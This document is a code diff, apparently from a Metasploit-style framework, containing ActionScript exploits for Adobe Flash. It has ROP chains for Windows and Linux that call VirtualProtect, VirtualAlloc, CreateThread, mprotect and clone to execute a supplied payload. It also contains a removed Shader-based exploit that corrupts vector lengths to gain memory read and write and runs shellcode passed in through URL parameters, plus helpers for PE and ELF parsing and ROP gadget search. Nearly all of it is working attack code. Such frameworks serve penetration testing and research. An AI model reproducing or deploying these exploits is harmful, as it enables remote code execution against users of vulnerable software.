Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_windows8():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var mmap:uint = libc.symbol("mmap")
|
||||
var clone:uint = libc.symbol("clone")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// my_memcpy
|
||||
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||
eba.write(0, "\x57", false) // push edi
|
||||
eba.write(0, "\x51", false) // push ecx
|
||||
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||
eba.write(0, "\x59", false) // pop ecx
|
||||
eba.write(0, "\x5f", false) // pop edi
|
||||
eba.write(0, "\x5e", false) // pop esi
|
||||
eba.write(0, "\xc3", false) // ret
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 0x8, payload, true) // false
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x18068, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() code segment arguments
|
||||
eba.write(0, 0x70000000) // 0x70000000
|
||||
eba.write(0, 0x4000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, 0xffffffff) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x1809c, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() stack segment arguments
|
||||
eba.write(0, 0x70008000) // NULL
|
||||
eba.write(0, 0x10000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, -1) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to memcpy()
|
||||
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||
// Return to stackpivot (jmp over memcpy parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// memcpy() parameters
|
||||
eba.write(0, 0x70000000)
|
||||
eba.write(0, payload_address + 0x8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// Return to clone()
|
||||
eba.write(stack_address + 0x18104, clone)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// clone() arguments
|
||||
eba.write(0, 0x70000000) // code
|
||||
eba.write(0, 0x7000bff0) // stack
|
||||
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||
eba.write(0, 0) // args
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,411 +0,0 @@
|
|||
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
|
||||
package {
|
||||
import flash.display.Sprite;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.display.Shader;
|
||||
import flash.system.Capabilities;
|
||||
import flash.net.FileReference;
|
||||
import flash.utils.Endian;
|
||||
import __AS3__.vec.Vector;
|
||||
import __AS3__.vec.*;
|
||||
import flash.display.LoaderInfo;
|
||||
|
||||
public class Graph extends Sprite {
|
||||
|
||||
static var counter:uint = 0;
|
||||
|
||||
protected var Shad:Class;
|
||||
var shellcode_byte_array:ByteArray;
|
||||
var aaab:ByteArray;
|
||||
var shellcodeObj:Array;
|
||||
|
||||
public function Graph(){
|
||||
var tweaked_vector:* = undefined;
|
||||
var tweaked_vector_address:* = undefined;
|
||||
var shader:Shader;
|
||||
var flash_memory_protect:Array;
|
||||
var code_vectors:Array;
|
||||
var address_code_vector:uint;
|
||||
var address_shellcode_byte_array:uint;
|
||||
this.Shad = Graph_Shad;
|
||||
super();
|
||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
||||
var i:* = 0;
|
||||
var j:* = 0;
|
||||
|
||||
// Just one try
|
||||
counter++;
|
||||
if (counter > 1)
|
||||
{
|
||||
return;
|
||||
};
|
||||
|
||||
// Memory massage
|
||||
var array_length:uint = 0x10000;
|
||||
var vector_size:uint = 34;
|
||||
var array:Array = new Array();
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<int>(1);
|
||||
i++;
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<int>(vector_size);
|
||||
i++;
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i].length = 0;
|
||||
i++;
|
||||
};
|
||||
i = 0x0200;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[(i - (2 * (j % 2)))].length = 0x0100;
|
||||
i = (i + 28);
|
||||
j++;
|
||||
};
|
||||
|
||||
// Overflow and Search for corrupted vector
|
||||
var corrupted_vector_idx:uint;
|
||||
var shadba:ByteArray = (new this.Shad() as ByteArray);
|
||||
shadba.position = 232;
|
||||
if (Capabilities.os.indexOf("Windows 8") >= 0)
|
||||
{
|
||||
shadba.writeUnsignedInt(2472);
|
||||
};
|
||||
shadba.position = 0;
|
||||
while (1)
|
||||
{
|
||||
shader = new Shader();
|
||||
try
|
||||
{
|
||||
shader.byteCode = (new this.Shad() as ByteArray);
|
||||
} catch(e)
|
||||
{
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
if (array[i].length > 0x0100)
|
||||
{
|
||||
corrupted_vector_idx = i;
|
||||
break;
|
||||
};
|
||||
i++;
|
||||
};
|
||||
if (i != array_length)
|
||||
{
|
||||
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
|
||||
};
|
||||
array.push(new Vector.<int>(vector_size));
|
||||
};
|
||||
|
||||
// Tweak the vector following the corrupted one
|
||||
array[corrupted_vector_idx][vector_size] = 0x40000001;
|
||||
tweaked_vector = array[(corrupted_vector_idx + 1)];
|
||||
|
||||
// repair the corrupted vector by restoring its
|
||||
// vector object pointer and length
|
||||
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
|
||||
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
|
||||
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
|
||||
i = 0;
|
||||
var val:uint;
|
||||
while (true)
|
||||
{
|
||||
val = tweaked_vector[(0x40000000 - i)];
|
||||
if (val == 0x90001B) break;
|
||||
i++;
|
||||
};
|
||||
tweaked_vector_address = 0;
|
||||
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
|
||||
{
|
||||
tweaked_vector[4] = 0x41414141;
|
||||
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
|
||||
};
|
||||
|
||||
// More memory massage, fill an array of FileReference objects
|
||||
var file_reference_array:Array = new Array();
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i] = new FileReference();
|
||||
i++;
|
||||
};
|
||||
|
||||
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
|
||||
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
|
||||
var do_it:Boolean = true;
|
||||
var memory_protect_ptr:uint;
|
||||
var aaaq:uint;
|
||||
if (do_it)
|
||||
{
|
||||
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
|
||||
memory_protect_ptr = flash_memory_protect[0];
|
||||
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
|
||||
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
|
||||
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
|
||||
this.fillCodeVectors(code_vectors);
|
||||
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
|
||||
tweaked_vector[4] = aaaq;
|
||||
tweaked_vector[0] = 0x1000; // Length
|
||||
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
|
||||
|
||||
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
|
||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
|
||||
|
||||
// 1) Set memory as executable
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i].cancel();
|
||||
i++;
|
||||
};
|
||||
|
||||
// 2) Execute shellcode
|
||||
tweaked_vector[7] = address_code_vector;
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i].cancel();
|
||||
i++;
|
||||
};
|
||||
|
||||
// Restore FileReference cancel function pointer
|
||||
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
|
||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
|
||||
};
|
||||
}
|
||||
|
||||
// returns the integer at memory address
|
||||
// vector: vector with tweaked length
|
||||
// vector_address: vector's memory address
|
||||
// address: memory address to read
|
||||
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
|
||||
if (address >= vector_address)
|
||||
{
|
||||
return (vector[((address - vector_address) / 4)]);
|
||||
};
|
||||
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
|
||||
}
|
||||
|
||||
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
|
||||
if (address >= vector_address)
|
||||
{
|
||||
vector[((address - vector_address) / 4)] = value;
|
||||
} else
|
||||
{
|
||||
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
|
||||
};
|
||||
}
|
||||
|
||||
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
|
||||
var content:uint;
|
||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||
var index:uint;
|
||||
var memory_protect_ptr:uint;
|
||||
var _local_6:uint;
|
||||
if (allocation >= vector_address)
|
||||
{
|
||||
index = ((allocation - vector_address) / 4);
|
||||
} else
|
||||
{
|
||||
index = (0x40000000 - ((vector_address - allocation) / 4));
|
||||
};
|
||||
|
||||
//push 1 ; 6a 01
|
||||
//push dword ptr [eax-8] ; ff 70 f8
|
||||
//push dword ptr [eax-4] ; ff 70 fc
|
||||
//call sub_1059DD00 // Will do VirtualProtect
|
||||
var offset:uint;
|
||||
while (1)
|
||||
{
|
||||
index--;
|
||||
content = vector[index];
|
||||
if (content == 0xfff870ff)
|
||||
{
|
||||
offset = 2;
|
||||
break;
|
||||
};
|
||||
if (content == 0xf870ff01)
|
||||
{
|
||||
offset = 1;
|
||||
break;
|
||||
};
|
||||
if (content == 0x70ff016a)
|
||||
{
|
||||
content = vector[(index + 1)];
|
||||
if (content == 0xfc70fff8)
|
||||
{
|
||||
offset = 0;
|
||||
break;
|
||||
};
|
||||
} else
|
||||
{
|
||||
if (content == 0x70fff870)
|
||||
{
|
||||
offset = 3;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
|
||||
index--;
|
||||
var content_before:uint = vector[index];
|
||||
|
||||
if (content_before == 0x16a0424)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0x6a042444)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0x424448b)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0xff016a04)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
_local_6 = (memory_protect_ptr - 6);
|
||||
|
||||
while (1)
|
||||
{
|
||||
index--;
|
||||
content = vector[index];
|
||||
if (content == 0x850ff50)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0x5e0cc483)
|
||||
{
|
||||
offset = 0;
|
||||
break;
|
||||
};
|
||||
};
|
||||
content = (content & 0xFFFFFF00);
|
||||
if (content == 0x50FF5000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0xcc48308)
|
||||
{
|
||||
offset = 1;
|
||||
break;
|
||||
};
|
||||
};
|
||||
content = (content & 0xFFFF0000);
|
||||
if (content == 0xFF500000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0xc4830850)
|
||||
{
|
||||
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
|
||||
{
|
||||
offset = 2;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
content = (content & 0xFF000000);
|
||||
if (content == 0x50000000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0x830850ff)
|
||||
{
|
||||
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
|
||||
{
|
||||
offset = 3;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
}
|
||||
|
||||
// vector: vector with tweaked length
|
||||
// address: memory address of vector data
|
||||
function find_file_ref_vtable(vector:*, address:*):uint{
|
||||
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
|
||||
|
||||
// Find an allocation of size 0x2a0
|
||||
var allocation_size:uint;
|
||||
while (true)
|
||||
{
|
||||
allocation_size = this.read_memory(vector, address, (allocation + 8));
|
||||
if (allocation_size == 0x2a0) break;
|
||||
if (allocation_size < 0x2a0)
|
||||
{
|
||||
allocation = (allocation + 0x24); // next allocation
|
||||
} else
|
||||
{
|
||||
allocation = (allocation - 0x24); // prior allocation
|
||||
};
|
||||
};
|
||||
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
|
||||
while (true)
|
||||
{
|
||||
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
|
||||
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
|
||||
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
|
||||
};
|
||||
return (allocation_contents);
|
||||
}
|
||||
|
||||
// Returns pointer to the nops in one of the allocated code vectors
|
||||
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
|
||||
var allocation_size:uint;
|
||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||
while (true)
|
||||
{
|
||||
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
|
||||
if (allocation_size == 0x7f0) break; // Code Vector found
|
||||
allocation = (allocation + 0x24); // next allocation
|
||||
};
|
||||
|
||||
// allocation contents should be the vector code, search for the mark 0x45454545
|
||||
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
|
||||
while (true)
|
||||
{
|
||||
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
|
||||
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
|
||||
};
|
||||
return ((allocation_contents + 0x2c));
|
||||
}
|
||||
|
||||
// create 8 vectors of size 0x7f0 inside an array to place shellcode
|
||||
function createCodeVectors(mark:uint, nops:uint){
|
||||
var code_vectors_array:Array = new Array();
|
||||
var i:* = 0;
|
||||
while (i < 8)
|
||||
{
|
||||
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
|
||||
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
|
||||
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
|
||||
i++;
|
||||
};
|
||||
return (code_vectors_array);
|
||||
}
|
||||
|
||||
|
||||
// Fill with the code vectors with the shellcode
|
||||
function fillCodeVectors(array_code_vectors:Array) {
|
||||
var i:uint = 0;
|
||||
var sh:uint=1;
|
||||
|
||||
while(i < array_code_vectors.length)
|
||||
{
|
||||
for(var u:String in shellcodeObj)
|
||||
{
|
||||
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
|
||||
}
|
||||
i++;
|
||||
sh = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}//package
|
|
@ -0,0 +1,10 @@
|
|||
package
|
||||
{
|
||||
import mx.core.ByteArrayAsset;
|
||||
|
||||
[Embed(source="binary_data_linux", mimeType="application/octet-stream")]
|
||||
public class GraphShadLinux extends ByteArrayAsset
|
||||
{
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
package
|
||||
{
|
||||
import mx.core.ByteArrayAsset;
|
||||
|
||||
[Embed(source="binary_data_windows", mimeType="application/octet-stream")]
|
||||
public class GraphShadWindows extends ByteArrayAsset
|
||||
{
|
||||
|
||||
}
|
||||
}
|
|
@ -1,10 +0,0 @@
|
|||
package
|
||||
{
|
||||
import mx.core.ByteArrayAsset;
|
||||
|
||||
[Embed(source="binary_data", mimeType="application/octet-stream")]
|
||||
public class Graph_Shad extends ByteArrayAsset
|
||||
{
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
package
|
||||
{
|
||||
import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,72 @@
|
|||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var contents:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
|
||||
for (var i:uint = 0; i < limit - 4; i++) {
|
||||
contents = eba.read(addr + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return addr + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
